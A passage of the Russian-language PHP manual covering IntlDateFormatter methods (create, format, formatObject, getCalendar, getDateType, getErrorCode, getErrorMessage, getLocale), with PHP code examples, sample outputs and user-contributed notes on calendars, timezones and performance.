Созданный объект IntlDateFormatter или null в случае возникновения ошибки.

Список изменений

Версия Описание
5.5.0/PECL 3.0.0

Объект IntlCalendar допускается в параметре calendar.

Объекты IntlTimeZone и DateTimeZone допускаются в параметре timezone.

Недопустимые идентификаторы часового пояса (включая пустые строки) больше не допускаются в параметре timezone.

Если в параметре timezone указано значение null, идентификатор часового пояса, заданный date_default_timezone_get(), будет использоваться вместо значения ICU по умолчанию.

Примеры

Пример #1 Пример использования datefmt_create()

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles', IntlDateFormatter::GREGORIAN );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

Пример #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "Первый форматированный вывод: ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN );
echo "Второй форматированный вывод: ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN ,"MM/dd/yyyy");
echo "Первый форматированный вывод с шаблоном: ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Второй форматированный вывод с шаблоном: ".$fmt->format(0);
?>

Результат выполнения данного примера:

Первый форматированный вывод: Wednesday, December 31, 1969 4:00:00 PM PT
Второй форматированный вывод: Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
Первый форматированный вывод с шаблоном: 12/31/1969
Второй форматированный вывод с шаблоном: 12/31/1969

Смотрите также

  • datefmt_format() - Форматирует значение даты/времени в виде строки
  • datefmt_parse() - Преобразует строку в значение отметки времени
  • datefmt_get_error_code() - Получает код ошибки последней операции
  • datefmt_get_error_message() - Получает текст ошибки последней операции

User Contributed Notes

info at mobger dot de 04-Feb-2023 07:50
The $locale can although contain the information about the calendar

<?php
//...
        $traditionalFormatter  =  new IntlDateFormatter(
            $locale.'@calendar='.$calendar,
            IntlDateFormatter::SHORT,
            IntlDateFormatter::SHORT,
            'Europe/Berlin',
            IntlDateFormatter::TRADITIONAL,
            'yyyy/MM/dd HH:mm:ss' // ICU-datetime-format
        );
//..
?>

To get the allowed values for $calendar, use the following code:

<?php
$bundle=new ResourceBundle('','ICUDATA');
$cnames=[];
$calendars=$bundle->get('calendar');
foreach($calendars as $n=>$v){
    $cnames[]=$n;
}
echo (print_r($cnames,true));

?>

The result is:
Array
(
    [0] => buddhist
    [1] => chinese
    [2] => coptic
    [3] => dangi
    [4] => default
    [5] => ethiopic
    [6] => ethiopic-amete-alem
    [7] => gregorian
    [8] => hebrew
    [9] => indian
    [10] => islamic
    [11] => islamic-civil
    [12] => japanese
    [13] => persian
    [14] => roc
)
Patanjali 11-Aug-2021 07:20
Just to be clear, to use any non-gregorian calendar:

a. The locale must be in the form of locale@calendar=calendar-name

b. The calendar must use the intlDateFormatter::TRADITIONAL constant, or an intlCalendar object created with a locale as specified in a.

The calendar name can be 'gregorian', even if the intlDateFormatter::TRADITIONAL constant is used, which makes for a more generic code approach.
Anonymous 13-Jul-2018 05:31
The documentation says that $datetype and $timetype can also be NULL,  in which case ICU?s default date type or time type will be used.

But when declare (strict_types=1); is also set, Intl fails to create the IntlDateFormatter class, and it returns an error "datefmt_create: unable to parse input parameters".
mikko dot rantalainen at peda dot net 29-Mar-2012 01:08
Documentation says "timezone: Time zone ID, default is system default."

The "system default" really means only the "TZ" environment variable on Unix/Linux systems. It does not mean PHP ini setting or value set via date_default_timezone_set() or the OS default time zone in file "/etc/timezone".
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 07:41
It should be noted that the locale string passed into IntlDateFormatter's constructor supports UCA keywords. So you can, for example, do things like this to output the year as a Japanese era year:

<?php
$now = new DateTime();    //DateTime is a core PHP class as of version 5.2.0

$formatter = new IntlDateFormatter('ja_JP', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::GREGORIAN);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "2011?8?19???? 23?32?27?JST" in Tokyo]

$formatter = new IntlDateFormatter('ja_JP@calendar=japanese', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::TRADITIONAL);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "??23?8?19???? 23?32?27?JST" in Tokyo]
?>


Форматирует значение даты/времени в виде строки

  • « IntlDateFormatter::create
  • IntlDateFormatter::formatObject »
  • PHP Manual
  • IntlDateFormatter
  • Форматирует значение даты/времени в виде строки

IntlDateFormatter::format

datefmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::format -- datefmt_format — Форматирует значение даты/времени в виде строки

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::format(IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false

Процедурный стиль

datefmt_format(IntlDateFormatter $formatter, IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false

Форматирует значение даты/времени в виде строки.

Список параметров

formatter

Ресурс средства форматирования даты.

datetime

Значение для форматирования. Это может быть объект DateTimeInterface, объект IntlCalendar, тип numeric, представляющий (возможно, дробное) количество секунд с начала эпохи Unix или массив (array) в формате, выводимом функцией localtime().

Если передаётся объект DateTime или IntlCalendar, его часовой пояс не учитывается. Объект будет отформатирован с использованием часового пояса средства форматирования. Если кто-то хочет использовать часовой пояс объекта, который нужно отформатировать, необходимо вызвать функцию IntlDateFormatter::setTimeZone() с часовым поясом объекта. В качестве альтернативы вместо неё может использоваться статическая функция IntlDateFormatter::formatObject().

Возвращаемые значения

Отформатированная строка или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.5 | Добавлена поддержка предоставления общих объектов DateTimeInterface для параметра datetime. Раньше поддерживались только объекты DateTime.
PECL 3.0.0 | Добавлена поддержка предоставления объектов IntlCalendar для параметра datetime.

Примеры

Пример #1 Пример использования datefmt_format()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Первый форматированный вывод: ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Второй форматированный вывод: ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Первый форматированный вывод с шаблоном: ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo "Второй форматированный вывод с шаблоном: " . datefmt_format($fmt, 0);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Первый форматированный вывод: ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Второй форматированный вывод: ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Первый форматированный вывод с шаблоном: ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Второй форматированный вывод с шаблоном: ' . $fmt->format(0);
?>

Результат выполнения данного примера:

Первый форматированный вывод: Wednesday, December 31, 1969 4:00:00 PM PT
Второй форматированный вывод: Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
Первый форматированный вывод с шаблоном: 12/31/1969
Второй форматированный вывод с шаблоном: 12/31/1969

Пример #3 Пример использования с объектом IntlCalendar

<?php
$tz = reset(iterator_to_array(IntlTimeZone::createEnumeration('FR')));
$formatter = IntlDateFormatter::create(
'fr_FR',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
$tz,
IntlDateFormatter::GREGORIAN
);

$cal = IntlCalendar::createInstance($tz, '@calendar=islamic-civil');
$cal->set(IntlCalendar::FIELD_MONTH, 8); //9-й месяц, Рамадан
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 1); //Первый день
$cal->clear(IntlCalendar::FIELD_HOUR_OF_DAY);
$cal->clear(IntlCalendar::FIELD_MINUTE);
$cal->clear(IntlCalendar::FIELD_SECOND);
$cal->clear(IntlCalendar::FIELD_MILLISECOND);

echo "В этом исламском году Рамадан начался/начнётся:\n\t",
$formatter->format($cal), "\n";

//Это часовой пояс используемого средства форматирования:
$formatter->setTimeZone('Asia/Tokyo');
echo "После изменения часового пояса:\n\t",
$formatter->format($cal), "\n";

Результат выполнения данного примера:

В этом исламском году Рамадан начался/начнётся:
    mardi 9 juillet 2013 19:00:00 heure avancee d'Europe centrale
После изменения часового пояса:
    mercredi 10 juillet 2013 02:00:00 heure normale du Japon

Смотрите также

  • datefmt_create() - Создаёт средство форматирования даты
  • datefmt_parse() - Преобразует строку в значение отметки времени
  • datefmt_get_error_code() - Получает код ошибки последней операции
  • datefmt_get_error_message() - Получает текст ошибки последней операции
  • datefmt_format_object() - Форматирует объект

User Contributed Notes

Anonymous 03-Oct-2021 03:54
DATE FIELD SYMBOL TABLE

https://unicode-org.github.io/icu/userguide/format_parse/datetime/#date-field-symbol-table
mail dot dennisbecker at gmail dot com 06-Feb-2013 04:38
You should know that PHPs IntlDateFormatter class uses ISO date format codes instead of PHPs date() format codes. It is not really clear mentioned from my point of view.

A good list to find ISO codes is available at http://framework.zend.com/manual/1.12/en/zend.date.constants.html#zend.date.constants.selfdefinedformats and such a list should be added here, too.
con at bartrail dot de 07-Oct-2011 04:47
I hope this will save some time for others who have to struggle with different php versions on dev and prod plattform in the future:

when formatting a DateTime object with a *custom pattern*, be sure to use a timestamp to pass at the IntlDateFormatter::format in order to have it working on different php versions:

Example for PHP Version 5.3.5-1ubuntu7.2 (my dev machine):
<?php
$date = new \DateTime();

$dateFormatter = \IntlDateFormatter::create(
  \Locale::getDefault(),
  \IntlDateFormatter::NONE,
  \IntlDateFormatter::NONE,
  \date_default_timezone_get(),
  \IntlDateFormatter::GREGORIAN,
  'EEEE'
);

var_dump($dateFormatter->format($date)); // string(6) "Monday"
?>

Example for PHP Version 5.3.2-1ubuntu4.9 (the prod server):
<?php
// same formatting as above

var_dump($dateFormatter->format($date)); // bool(false)
?>

When using $dateFormatter->format($date->getTimestamp()), you'll always get the formatted and localized string instead of a false.
alex 19-May-2010 11:10
It's important to note that a conversion of timezones will be made from the default timezone (date_default_timezone_set()) and the timezone you passed in the constructor (or datefmt_create()).

If you are inserting the dates into your database as UTC time, make sure to set date_default_timezone_set to UTC as well (or any other timezone, but they need to be the same). Once you call ::format, you will get the converted time.


Форматирует объект

  • « IntlDateFormatter::format
  • IntlDateFormatter::getCalendar »
  • PHP Manual
  • IntlDateFormatter
  • Форматирует объект

IntlDateFormatter::formatObject

datefmt_format_object

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::formatObject -- datefmt_format_object — Форматирует объект

Описание

Объектно-ориентированный стиль

public static IntlDateFormatter::formatObject(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false

Процедурный стиль

datefmt_format_object(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false

Функция позволяет форматировать объект IntlCalendar или DateTime без предварительного явного создания объекта IntlDateFormatter.

Временный IntlDateFormatter, который будет создан, принимает часовой пояс из переданного объекта. База данных часовых поясов, связанная с PHP, не будет использоваться - вместо неё будет использоваться ICU. Следовательно, идентификатор часового пояса, используемый в объектах DateTime, также должен существовать в базе данных ICU.

Список параметров

datetime

Объект типа IntlCalendar или DateTime. Будет использоваться информация о часовом поясе в объекте.

format

Как отформатировать дату/время. Может быть либо массив (array) с двумя элементами (сначала стиль даты, затем стиль времени, может быть одна из констант: IntlDateFormatter::NONE, IntlDateFormatter::SHORT, IntlDateFormatter::MEDIUM, IntlDateFormatter::LONG, IntlDateFormatter::FULL), целое число (int) со значением одной из этих констант (в этом случае оно будет использоваться как для времени, так и для даты) или строка (string) в формате, описанном в » документации ICU. Если указано значение null, будет использоваться стиль по умолчанию.

locale

Используемый языковой стандарт или null для использования значения по умолчанию.

Возвращаемые значения

Строка с результатом или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования IntlDateFormatter::formatObject()

<?php
/* часовой пояс по умолчанию не имеет значения; часовой пояс взят из объекта */
ini_set('date.timezone', 'UTC');
/* языковой стандарт по умолчанию берётся из этой настройки ini */
ini_set('intl.default_locale', 'fr_FR');

$cal = IntlCalendar::fromDateTime("2013-06-06 17:05:06 Europe/Dublin");
echo "По умолчанию:\n\t",
IntlDateFormatter::formatObject($cal),
"\n";

echo "Полная запись: \$format (full):\n\t",
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL),
"\n";

echo "Массив: \$format (none, full):\n\t",
IntlDateFormatter::formatObject($cal, array(
IntlDateFormatter::NONE,
IntlDateFormatter::FULL)),
"\n";

echo "Строка: \$format (d 'of' MMMM y):\n\t",
IntlDateFormatter::formatObject($cal, "d 'of' MMMM y", 'en_US'),
"\n";

echo "Объект DateTime:\n\t",
IntlDateFormatter::formatObject(
new DateTime("2013-09-09 09:09:09 Europe/Madrid"),
IntlDateFormatter::FULL,
'es_ES'),
"\n";

Результат выполнения данного примера:

По умолчанию:
    6 juin 2013 17:05:06
Полная запись: $format (full):
    jeudi 6 juin 2013 17:05:06 heure d'ete irlandaise
Массив: $format (none, full):
    17:05:06 heure d'ete irlandaise
Строка: $format (d 'of' MMMM y):
    6 of June 2013
Объект DateTime:
    lunes, 9 de septiembre de 2013 09:09:09 Hora de verano de Europa central

User Contributed Notes

Anonymous 08-Apr-2023 10:12
`format` vs static `formatObject`

** The `formatObject` is NOT slower!  (on PHP 5.5) **

Use either the `format` method or the static `formatObject`.

Since `formatObject` is doing the work of `new IntlDateFormatter` with the provided pattern, the instantiation line must be included in the loop!

Another debunked flawed false test!

php -v
PHP 5.5.26-1+deb.sury.org~precise+1 (cli) (built: Jun 15 2015 10:04:01)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
    with Xdebug v2.3.2, Copyright (c) 2002-2015, by Derick Rethans

<?php
date_default_timezone_set('America/Los_Angeles');
$n = 3000;

$dt = new DateTime('2015-01-03 12:32:44');

$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = IntlDateFormatter::formatObject($dt, 'MMMM dd', 'hu_HU');
}
echo "$a\n";
$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $df = new IntlDateFormatter('hu_HU', IntlDateFormatter::SHORT, IntlDateFormatter::NONE, null, null, 'MMMM dd');
    $a = $df->format($dt);
}
echo "$a\n";
$time[] = microtime(true);

for($j=1;$j<count($time);$j++) {
    printf("%fs\n", $time[$j]-$time[$j-1]);
}
?>

`formatObject` : 0.336579s
`format` : 0.391158s
raf at sns dot pm 07-Apr-2022 02:44
If you want to format a date according to a specific scheme and in a local language, here is the link to the reference of the formatting codes to use, I did not find it directly in the documentation:
https://unicode-org.github.io/icu/userguide/format_parse/datetime/#date-field-symbol-table
 Here is a test using a DateTime object :

<?php

// must be required by the server
date_default_timezone_set( 'Europe/Paris' );

// instantiate a new DateTime object
$dateTimeObj = new DateTime('now', new DateTimeZone('Europe/Paris'));

// format the date with a specific scheme
// the 3 parameters are [ DateTimeObject, ICU Scheme, locale code string ]
$dateFromatted = IntlDateFormatter::formatObject( $dateTimeObj, "eee d MMMM y a HH:mm", 'fr' );

// test :
echo ucwords($dateFromatted);
// output : Jeu. 7 Avril 2022 a 04:36 // formatted as i want

?>
sebastian at huehnerhose dot de 14-Jun-2017 12:37
It's still slower on php7.1, but not that dramatic anymore, here I got something around 5times slower
ferenczi dot krisztian at gmail dot com 13-Aug-2015 01:56
`format` vs static `formatObject`

The `formatObject` is slower! `format` is more then 10-13 times faster! (on PHP 5.5) Use the `format` method instead of the static `formatObject`.

php -v
PHP 5.5.26-1+deb.sury.org~precise+1 (cli) (built: Jun 15 2015 10:04:01)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
    with Xdebug v2.3.2, Copyright (c) 2002-2015, by Derick Rethans

<?php
$n = 3000;

$dt = new \DateTime('2015-01-03 12:32:44');
$df = new IntlDateFormatter('hu_HU', IntlDateFormatter::SHORT, IntlDateFormatter::NONE);
$df->setPattern('MMMM dd');

$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = IntlDateFormatter::formatObject($dt, 'MMMM dd', 'hu_HU');
}
echo "$a\n";
$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = $df->format($dt);
}
echo "$a\n";
$time[] = microtime(true);

for($j=1;$j<count($time);$j++) {
    printf("%fs\n", $time[$j]-$time[$j-1]);
}
?>

`formatObject` : 0.458248 s
`format` : 0.033759 s


Получает тип календаря, используемый IntlDateFormatter

  • « IntlDateFormatter::formatObject
  • IntlDateFormatter::getDateType »
  • PHP Manual
  • IntlDateFormatter
  • Получает тип календаря, используемый IntlDateFormatter

IntlDateFormatter::getCalendar

datefmt_get_calendar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getCalendar -- datefmt_get_calendar — Получает тип календаря, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getCalendar(): int|false

Процедурный стиль

datefmt_get_calendar(IntlDateFormatter $formatter): int|false

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Тип календаря, используемый сервисом форматирования. Либо IntlDateFormatter::TRADITIONAL, либо IntlDateFormatter::GREGORIAN. Возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_calendar()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип календаря средства форматирования : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Теперь тип календаря средства форматирования : ' . datefmt_get_calendar($fmt);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип календаря средства форматирования : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Теперь тип календаря средства форматирования : ' . $fmt->getCalendar();

?>

Результат выполнения данного примера:

Тип календаря средства форматирования : 1
Теперь тип календаря средства форматирования : 0

Смотрите также

  • datefmt_get_calendar_object() - Получает копию объекта календаря средства форматирования
  • datefmt_set_calendar() - Устанавливает тип календаря, используемый средством форматирования
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает тип даты, используемый IntlDateFormatter

  • « IntlDateFormatter::getCalendar
  • IntlDateFormatter::getErrorCode »
  • PHP Manual
  • IntlDateFormatter
  • Получает тип даты, используемый IntlDateFormatter

IntlDateFormatter::getDateType

datefmt_get_datetype

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getDateType -- datefmt_get_datetype — Получает тип даты, используемый IntlDateFormatter

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getDateType(): int|false

Процедурный стиль

datefmt_get_datetype(IntlDateFormatter $formatter): int|false

Получает тип даты, используемый средством форматирования.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Значение текущего типа даты средства форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_datetype()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип даты средства форматирования : ' . datefmt_get_datetype($fmt);
echo 'Первый отформатированный вывод с типом даты ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::SHORT,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Теперь тип даты средства форматирования : ' . datefmt_get_datetype($fmt);
echo 'Второй отформатированный вывод с типом даты ' . datefmt_format($fmt, 0);

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Тип даты средства форматирования : ' . $fmt->getDateType();
echo 'Первый отформатированный вывод с типом даты ' . $fmt->format(0);
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::SHORT,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Теперь тип даты средства форматирования : ' . $fmt->getDateType();
echo 'Второй отформатированный вывод с типом даты ' . $fmt->format(0);

?>

Результат выполнения данного примера:

Тип даты средства форматирования : 0
Первый отформатированный вывод с типом даты Wednesday, December 31, 1969 4:00:00 PM PT
Теперь тип даты средства форматирования : 2
Второй отформатированный вывод с типом даты 12/31/69 4:00:00 PM PT

Смотрите также

  • datefmt_get_timetype() - Получает тип времени, используемый IntlDateFormatter
  • datefmt_create() - Создаёт средство форматирования даты

User Contributed Notes

There are no user contributed notes for this page.


Получает код ошибки последней операции

  • « IntlDateFormatter::getDateType
  • IntlDateFormatter::getErrorMessage »
  • PHP Manual
  • IntlDateFormatter
  • Получает код ошибки последней операции

IntlDateFormatter::getErrorCode

datefmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorCode -- datefmt_get_error_code — Получает код ошибки последней операции

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getErrorCode(): int

Процедурный стиль

datefmt_get_error_code(IntlDateFormatter $formatter): int

Получает код ошибки последней операции. Возвращает код ошибки последней операции форматирования числа.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Код ошибки, одно из значений UErrorCode. Начальное значение - U_ZERO_ERROR.

Примеры

Пример #1 Пример использования datefmt_get_error_code()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
printf(
"ОШИБКА: %s (%d)\n",
datefmt_get_error_message($fmt),
datefmt_get_error_code($fmt)
);
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if (!$str) {
printf(
"ОШИБКА: %s (%d)\n",
$fmt->getErrorMessage(),
$fmt->getErrorCode()
);
}
?>

Результат выполнения данного примера:

ОШИБКА: U_ZERO_ERROR (0)

Смотрите также

  • datefmt_get_error_message() - Получает текст ошибки последней операции
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получает текст ошибки последней операции

  • « IntlDateFormatter::getErrorCode
  • IntlDateFormatter::getLocale »
  • PHP Manual
  • IntlDateFormatter
  • Получает текст ошибки последней операции

IntlDateFormatter::getErrorMessage

datefmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorMessage -- datefmt_get_error_message — Получает текст ошибки последней операции

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getErrorMessage(): string

Процедурный стиль

datefmt_get_error_message(IntlDateFormatter $formatter): string

Получает текст ошибки последней операции.

Список параметров

formatter

Ресурс средства форматирования.

Возвращаемые значения

Описание последней ошибки.

Примеры

Пример #1 Пример использования datefmt_get_error_message()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
printf(
"ОШИБКА: %s (%d)\n",
datefmt_get_error_message($fmt),
datefmt_get_error_code($fmt)
);
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if(!$str) {
printf(
"ОШИБКА: %s (%d)\n",
$fmt->getErrorMessage(),
$fmt->getErrorCode()
);
}

?>

Результат выполнения данного примера:

ОШИБКА: U_ZERO_ERROR (0)

Смотрите также

  • datefmt_get_error_code() - Получает код ошибки последней операции
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Получает языковой стандарт, используемый средством форматирования

  • « IntlDateFormatter::getErrorMessage
  • IntlDateFormatter::getPattern »
  • PHP Manual
  • IntlDateFormatter
  • Получает языковой стандарт, используемый средством форматирования

IntlDateFormatter::getLocale

datefmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getLocale -- datefmt_get_locale — Получает языковой стандарт, используемый средством форматирования

Описание

Объектно-ориентированный стиль

public IntlDateFormatter::getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false

Процедурный стиль

datefmt_get_locale(IntlDateFormatter $formatter, int $type = ULOC_ACTUAL_LOCALE): string|false

Получает языковой стандарт, используемый средством форматирования.

Список параметров

formatter

Ресурс средства форматирования.

type

Вы можете выбирать между корректным и текущим языковым стандартом (Locale::VALID_LOCALE и Locale::ACTUAL_LOCALE, соответственно). По умолчанию используется текущий языковой стандарт.

Возвращаемые значения

Языковой стандарт средства форматирования или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования datefmt_get_locale()

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Языковой стандарт средства форматирования : ' . datefmt_get_locale($fmt);
echo 'Первый отформатированный вывод ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Языковой стандарт средства форматирования : ' . datefmt_get_locale($fmt);
echo 'Второй отформатированный вывод ' . datefmt_format($fmt, 0);

?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Языковой стандарт средства форматирования : ' . $fmt->getLocale();
echo 'Первый отформатированный вывод ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Языковой стандарт средства форматирования : ' . $fmt->getLocale();
echo 'Второй отформатированный вывод ' . $fmt->format(0);

?>

Результат выполнения данного примера:

Языковой стандарт средства форматирования : en
Первый отформатированный вывод Wednesday, December 31, 1969 4:00:00 PM PT
Языковой стандарт средства форматирования : de
Второй отформатированный вывод Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00

Смотрите также

